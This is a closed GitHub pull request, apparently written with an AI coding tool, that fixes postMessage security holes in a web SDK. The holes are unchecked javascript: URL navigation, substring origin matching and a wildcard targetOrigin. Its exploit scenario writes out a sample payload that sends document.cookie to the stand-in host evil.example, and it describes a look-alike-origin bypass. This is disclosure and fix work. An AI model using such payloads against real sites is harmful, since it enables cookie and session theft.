Skip to content

fix(security): safe url handler, exact banner/modal origin checks, pinned targetOrigin - #181

Closed
boehlerlukas wants to merge 2 commits into
masterfrom
fix-e2e1013-postmessage-security
Closed

boehlerlukas wants to merge 2 commits into
masterfrom
fix-e2e1013-postmessage-security

Conversation

@boehlerlukas

Copy link
Copy Markdown
Contributor

Vulnerability

The SDK trusts the Messenger frame. It checks event.source, but then acts on whatever that frame relays. Its default urlHandler ran window.location.href = url with no scheme check. So any open-url that reached it ran script in the customer's page:

  • from the Messenger, which was itself relaying any frame's messages (fixed in GleapSDK/Messenger-App#254)
  • from a banner, a modal or the chatbar
  • from Gleap.openURL

Two more holes:

  • Substring origin check on banners and modals. The banner and modal listeners accepted any origin that bannerUrl.includes(event.origin). So https://outboundmedia.gl (.gl is a public TLD) passed for https://outboundmedia.gleap.io. That origin could post open-url, start-custom-action, start-conversation, tours or banner-height (CSS injection) straight to the customer's window.
  • targetOrigin '*' with credentials. The chatbar's session-update and <gleap-agent-conversation>'s config, which both carry gleapId and gleapHash, were posted with targetOrigin '*'.

Exploit scenario

  1. An ad iframe or opener site posts {type:'BANNER', name:'open-url', data:"javascript:fetch('https://evil.example/?c='+document.cookie)"} from https://outboundmedia.gl, or goes through the Messenger relay.
  2. The SDK's urlHandler navigates to the javascript: URL.
  3. The script runs in the customer's origin, with access to its cookies, localStorage and logged-in session.

Fix

  • New src/GleapMessageSecurity.js:
    • isSafeNavigationUrl: http, https, mailto, tel and relative links only. It parses the URL the way the browser does, so java\tscript: is caught.
    • isScriptUrl
    • originMatchesUrl: exact origin equality.
    • frameTargetOrigin
  • Default urlHandler: opens only safe links. New tabs use window.open(url, '_blank', 'noopener,noreferrer'). The .focus() call is gone, because window.open with noopener returns null.
  • Gleap.setUrlHandler: the custom handler is wrapped. It still receives app deep links (myapp://…), but never javascript:, vbscript: or data:.
  • Banner and modal listeners: exact origin equality instead of includes. The event.source match is unchanged.
  • Pinned targetOrigin for the Messenger frame (sendMessage, collect-ticket-data), the chatbar frame and <gleap-agent-conversation>:
    • A frame bootstrapped through about:blank gets our own origin. This uses contentWindow.origin; I checked in Chrome that a fresh about:blank frame reports the parent origin there, while location.origin reports "null".
    • A frame that fell back to src gets the frame URL's origin.
    • '*' is used only for an opaque origin.

Not changed: the main listener's exact event.origin === frameUrl acceptance for the legacy src fallback. The source check already covers it, and the origin is Gleap-owned.

Checks run

  • npm test (jest): 32 suites, 560 tests pass. New tests:
    • src/GleapMessageSecurity.test.js:
      • safe and script schemes
      • exact origin, including the outboundmedia.gl and outboundmedia.gleap look-alikes
      • target origin in the same-origin, cross-origin and opaque cases
    • GleapFrameManager.test.js:
      • the default handler never opens javascript:/data:
      • new tabs get noopener,noreferrer
      • a custom handler gets deep links but not script URLs
      • the Messenger's open-url goes through the safe handler
    • GleapBannerManager.test.js: an exact origin is accepted and look-alikes are ignored.
  • npm run build (webpack) compiled. The regenerated build/ and published/ bundles were reverted and are not part of this PR.

Rollout note

This needs an SDK release (next 19.3.x); I did not release it. Until customers update, they are protected by the Messenger fix (GleapSDK/Messenger-App#254), which is served live from main and covers every SDK version once deployed. Ship that one first.

The look-alike-origin banner/modal path (outboundmedia.gl) does not go through the Messenger. Only this SDK release closes it.

Behaviour change: the default handler no longer opens custom schemes such as myapp://, whatsapp:// or sms: on the web. Customers who need them can use Gleap.setUrlHandler.

🤖 Generated with Claude Code

boehlerlukas and others added 2 commits October 13, 2026 21:14
…d relative links

The default urlHandler set window.location.href to whatever the widget,
a banner, a modal, the chatbar or Gleap.openURL handed it, so a
javascript: URL ran in the customer's page. It now opens only safe
schemes, new tabs with noopener,noreferrer. A custom Gleap.setUrlHandler
handler still gets app deep links but never javascript:/vbscript:/data:.
Messages to the Messenger frame are pinned to its origin.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…gin for chatbar and agent conversation

Banner and modal listeners matched event.origin with bannerUrl.includes(),
so https://outboundmedia.gl passed for https://outboundmedia.gleap.io and
could trigger open-url, custom actions and tours. Now exact origin
equality. Chatbar and <gleap-agent-conversation> (which receives gleapId
and gleapHash) post to their frame's origin instead of '*'.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@boehlerlukas

Copy link
Copy Markdown
Contributor Author

Folded into #182 (one PR per repo). All commits of this branch are in #182.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant